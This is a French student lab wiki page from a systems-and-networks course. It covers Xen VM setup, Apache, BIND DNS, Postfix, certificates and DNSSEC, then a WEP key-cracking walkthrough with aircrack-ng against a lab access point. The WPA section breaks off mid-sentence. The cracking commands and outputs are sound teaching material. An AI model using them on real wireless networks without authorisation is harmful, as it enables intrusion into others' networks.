TP sysres IMA2a5 2016/2017 G4 : Différence entre versions

De Wiki de Projets IMA
(Cassage clé)
(Cassage de clé WPA-PSK)
Ligne 330 : Ligne 330 :
  
 
=== Cassage de clé WPA-PSK ===
 
=== Cassage de clé WPA-PSK ===
 +
Le cassage de clé WPA est légèrement diffèrent de celui WEP. Nous utilisons les mêmes outils (aircrack-ng) mais nous devons fournir un dictionnaire avec tous les mots de passe. Dans notre cas, nous avons décidé de prendre une clé de 8 chiffres.
 +
Nous utilisons pour commencer

Version du 6 décembre 2016 à 10:14

N° VLAN Prénom Réseau local Nom VM @IP VM
VLAN20 Dimitri 10.60.20.0/24 Vald 193.48.57.182/28
VLAN21 Nabil 10.60.21.0/24 Pnl 193.48.57.177/28
VLAN22 Otmane 10.60.22.0/24 Lartiste 193.48.57.178/28
VLAN23 Hugo 10.60.23.0/24 Gradur 193.48.57.179/28
VLAN24 Clement 10.60.24.0/24 Gringe 193.48.57.180/28
VLAN25 Joan 10.60.25.0/24 Orelsan 193.48.57.181/28

Configuration du point d'accés Cisco

Installation d'une machine virtuelle

L'installation s'effectuée à l'aide du logiciel de virtualisation Xen. Nous possédons qu'un seul serveur pour 6. C'est pour cela qu'on passe par la création d'une machine virtuel pour que chacun puisse réaliser une serveur DNS, Apache sur sa machine virtuel. Pour créer la machine virtuel, on tape la commande suivante :

 xen-create-image --hostname Orelsan --ip 193.48.57.181 --netmask 255.255.255.240 --dir /usr/local/xen

Entre deux séances de TP, nous avons eu un changement de version du kernel Linux. De ce fait il a fallu modifier le fichier orelsan.cfg en remplaçant la version 3.14 en 3.16.0

 kernel      = '/boot/vmlinuz-3.16.0-4-amd64'
 extra       = 'elevator=noop'
 ramdisk     = '/boot/initrd.img-3.16.0-4-amd64'

Lancement de notre machine virtuelle

 xl create Orelsan.cvg 

Connection à notre machine virtuelle

 xl console Orelsan 

On peut également voir la liste de toutes les machines virtuelles ouvertes avec :

 xl list 

Une fois la connexion sur notre machine établie, nous devons changer le fichier interfaces pour permettre une connexion à internet:

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
        address 193.48.57.181
        netmask 255.255.255.240
        gateway 193.48.57.190

Puis pour prendre en compte ses modifications nous utilisons :

ifdown
ifup

Après un reboot de notre machine virtuelle, nous pouvons ainsi installer différents packages comme :

 apt-get install vim 


Configuration du service internet

Pour cela, il nous faut réaliser un serveur DNS qui permet de lier un nom de domaine à une adresse IP. Ainsi qu'un serveur Apache qui est un serveur HTTP

Installation du serveur HTTP

 apt-get install apache2 

Installation du serveur DNS

 apt-get install bind9 

Si cette installation vous indique une erreur, il faut modifier le fichier /etc/apt/apt.conf.d/01proxy et remplacer

 Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128"; 

par

 Acquire::http::Proxy "http://helfaut.escaut.net:3128"; 

Cette modification est du a la modification du proxy de l'école.

Configuration de notre nom de domaine

Après l'achat de notre nom de domaine orelsan.website sur www.gandi.net on vient modifier le glue records pour lier notre adresse IP au nom de domaine dns.orelsan.webiste -> 193.48.57.181 Ensuite on se rend dans l'onglet modifier les DNS et on change le DNS indiquer par celui vu juste précédemment. Puis nous allons modifier 3 fichiers :

/etc/bind/named.conf.options

options {
   allow-transfer { "allowed_to_transfer"; };
 };

acl "allowed_to_transfer" {
   217.70.177.40/32 ; //passerelle de gandi  par defaut
 };

/etc/bind/named.conf.local

//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

 zone "orelsan.website" {
   type master;
   file "/etc/bind/orelsan.website/orelsan";
 };

/etc/bind/orelsan.website/orelsan

$TTL 259200
@ IN SOA dns postmaster.orelsan.website. (
        20               ; Version
        7200             ; Refresh (2h)
        3600             ; Retry   (1h)
        1209600          ; Expire (14j)
        259200 )         ; Minimum TTL (3j)
         IN NS dns
         IN NS ns6.gandi.net.
         IN A       193.48.57.181
         IN MX      100 dns

dns     IN A       193.48.57.181

Pour prendre en compte les paramètres changés dans les fichiers ci-dessous, il suffit d'effectuer les commandes:

service bind9 stop
service bind9 start

Pour observer le bon fonctionnement de notre serveur, on peut visualiser les informations sur

cat /var/log/daemon.log

Puis un ping de notre page internet peut nous montrer également son bon fonctionnement Si tout cela fonctionne on peut se rendre sur notre page. Pour modifier les informations visible sur la page, il suffit d'aller dans /var/www/html/index.html. Toutes les informations écrites dans ce fichier seront visible sur notre page.

Installation boite mail

On commence par un installer postfix qui est un serveur de messagerie électronique.

apt-get install postfix

Une fois postfix installé, on indique le nom de domaine (orelsan.website) dans la configuration

Dans /etc/aliases on ajoute:

admin:root

Puis on utilise la commande

newaliases

On installe également bsd-mailx qui est un agent de courriel utilisateur simple.

apt-get install bsd-mailx

Et pour observer nos mail, on tape la commande mail dans la console. L'adresse mail est admin@orelsan.website.

Générer une demande de certificat en SHA 2

openssl req -nodes -newkey rsa:2048 -sha256 -keyout monserveur.key -out serveur.csr

Country Name (2 letter code) [AU]:fr
State or Province Name (full name) [Some-State]:North
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:orelsan.website
Email Address []:admin@orelsan.website

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Cette fonction nous crée 2 fichiers : monserveur.key serveur.csr

-monserveur.key contient la clé privée.

-serveur.csr contient la clé public.

On va maintenant ajouter la clé public sur gandi pour qu'il nous génère un certificat. On crée 2 fichier avec :

-inter.crt qui contient le certificat intermédiaire.

-gandi.crt qui qui contient le certificat .

root@Orelsan:~# ls
gandi.crt  inter.crt  mbox  monserveur.key  serveur.csr

Dans le fichier /etc/apache2/sites-enabled/000-default.conf on écrit:

<VirtualHost *:443>

        ServerName www.orelsan.website
        ServerAlias orelsan.website
        DocumentRoot /var/www/html
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
	SLCertificateFile /root/gandi.crt
        SSLCertificateKeyFile /root/monserveur.key
        SSLCertificateChainFile /root/inter.crt
	SSLVerifyClient None
</VirtualHost>

DNSSEC

Dans un premier temps, nous ajoutons l'option ci dessous dans le fichier named.conf.options

dnssec-enable yes 

Dans un répertoire, nous créons d'abord la clé asymétrique de signature puis celle de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE orelsan.website 
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE orelsan.website

Après avoir renommé les noms de nos clé, nous ajoutons dans notre fichier de zone

$include /etc/bind/orelsan.website.dnssec/orelsan.website-ksk.key
$include /etc/bind/orelsan.website.dnssec/orelsan.website-zsk.key 

et pour signez les enregistrements de la zone, nous utilisons la commande :

dnssec-signzone -o orelsan.website -k orelsan.website-ksk ../orelsan.website/orelsan orelsan.website-zsk

Cassage clé

Pour le crackage de clé, nous allons utiliser le package aircrack-ng qui est un ensemble d'outils permettant de tester la sécurité d'un réseau

Cassage de clé WEP

Commençons par detecter notre interface wifi par le biais d'un

ifconfig

ou

iwconfig

Notre interface est wlan2 qui correspond à la clé wifi ajoutée sur l'ordinateur.

Nous pouvons ainsi commencer à utiliser les outils de aircrack en debutant par

airmon-ng start wlan2 

Cette commande permet de mettre en mode moniteur notre interface wifi Si tout se passe correctement, vous allez voir apparaitre

creation du mon0

Interface	Chipset		Driver

mon0		Ralink RT2870/3070	rt2800usb - [phy1]
wlan0		Broadcom	wl - [phy0]
wlan2		Ralink RT2870/3070	rt2800usb - [phy1]
				(monitor mode enabled on mon1)

Nous observons bien que le mode moniteur est activé pour notre wlan2.

Nous pouvons observer tous les réseaux grâce à la commande

airodump-ng wlan2

Une fois que nous avons repéré la cracotte que nous voulons cracker on refait un airodump pour se focaliser sur cette cracotte

airodump-ng  wlan2 -c 8 -essid cracotte03 --bssid 04:DA:D2:9C:50:52 -w crack

-c permet de le selectrionner le channel de communication -w le nom du fichier dans lequel airodump va enregistrer les données --bssid permet d'indiquer l'adresse mac de la cible --essid permet d'indique le ssid de la cible (nom du réseau)

CH  8 ][ Elapsed: 1 min ][ 2016-11-21 15:08                                         
                                                                                                                                     
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                     
 04:DA:D2:9C:50:52  -41  45      799    53316  506   8  54e. WEP  WEP         cracotte03                                             
                                                                                                                                     
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                           
                                                                                                                                     
 04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -28   54e-54e   222    60221

On peut visualiser le nombre de paquets qui transit. Pour permettre le crackage de la clé WEP, un nombre de data important est necessaire. Pour obtenir plus de data, nous pouvons utiliser la commande aireplay dans un autre terminal.

root@Piranha:/home/pifou#aireplay-ng -1 0 -e cracotte03 -a 04:DA:D2:9C:50:52 wlan2
No source MAC (-h) specified. Using the device MAC (40:A5:EF:05:AA:25)
15:00:01  Waiting for beacon frame (BSSID: 04:DA:D2:9C:50:51) on channel 8

15:00:01  Sending Authentication Request (Open System)

15:00:03  Sending Authentication Request (Open System)

15:00:05  Sending Authentication Request (Open System) [ACK]
15:00:05  Authentication successful
15:00:05  Sending Association Request [ACK]
15:00:05  Association successful :-) (AID: 1) 

Et tout en laissant airodump ouvert sur un terminal, on vient trouver la clé WEP en utilisant la commande ci dessous dans un autre terminal

root@Piranha:/home/pifou#aircrack-ng crack.cap 
                                                            Aircrack-ng 1.2 beta3


                                            [00:00:39] Tested 257766 keys (got 32866 IVs)

   KB    depth   byte(vote)
    0    0/  1   EE(46080) B9(39936) 70(39680) B2(39168) 86(38656) 11(38400) B4(38400) F2(38400) A1(38144) 24(37632) 
    1    0/  1   EE(45824) 11(44544) 7B(42240) 05(40960) 93(40448) C4(40448) EE(40448) 1C(39168) 3E(39168) 42(38912) 
    2    0/  1   EE(45568) 36(42240) 6A(42240) 0D(40192) DC(39680) 98(39424) F3(39424) 39(39168) 3E(38912) B6(38656) 
    3    0/  1   EE(48640) 11(43520) 61(40448) E6(40448) 00(38912) 9C(38656) EF(38656) 30(38400) B7(38400) 2A(38144) 
    4    0/  1   EE(42240) 77(40960) AA(39936) 86(39424) F2(39168) FE(39168) 95(38912) 69(38656) 73(38656) AF(38656) 
    5    1/  2   EE(42752) A2(41728) 34(41216) 46(40448) 0B(39680) 50(39424) 6C(39168) BA(39168) 7D(38912) 66(38656) 
    6    0/  1   EE(44032) 8D(43264) 9F(40960) A0(40960) 74(40704) 17(40448) 91(39936) 66(39424) 5A(39168) C4(38912) 
    7    0/  1   EE(44032) 36(40192) 4D(39680) 3D(39168) BF(39168) EC(38912) 9D(38656) EF(38656) A9(38400) B4(38144) 
    8    0/  1   EE(48128) 35(40448) C1(39680) 9E(39424) F3(39424) C8(39168) 36(38656) 2E(38144) 7A(38144) C5(38144) 
    9    0/  1   EE(45312) 74(42496) E7(40960) 6C(40192) 28(39936) 1B(39680) AF(39680) 71(38656) 44(38400) 2C(37888) 
   10    3/  1   62(39424) BC(39424) 48(39168) 56(38912) AF(38912) 23(38400) 98(38400) A7(38144) 2B(37888) 79(37888) 
   11    5/  1   68(38656) E9(38656) F9(38656) 1E(38400) 36(38400) 5A(38144) 92(38144) 5C(37888) 87(37888) CB(37888) 
   12    0/  2   79(40780) 62(40380) 4D(40156) 85(39388) DE(39280) 4E(39060) 98(38876) A7(38544) 6A(38432) 82(38144) 

             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44 ] 
	Decrypted correctly: 100%

Cassage de clé WPA-PSK

Le cassage de clé WPA est légèrement diffèrent de celui WEP. Nous utilisons les mêmes outils (aircrack-ng) mais nous devons fournir un dictionnaire avec tous les mots de passe. Dans notre cas, nous avons décidé de prendre une clé de 8 chiffres. Nous utilisons pour commencer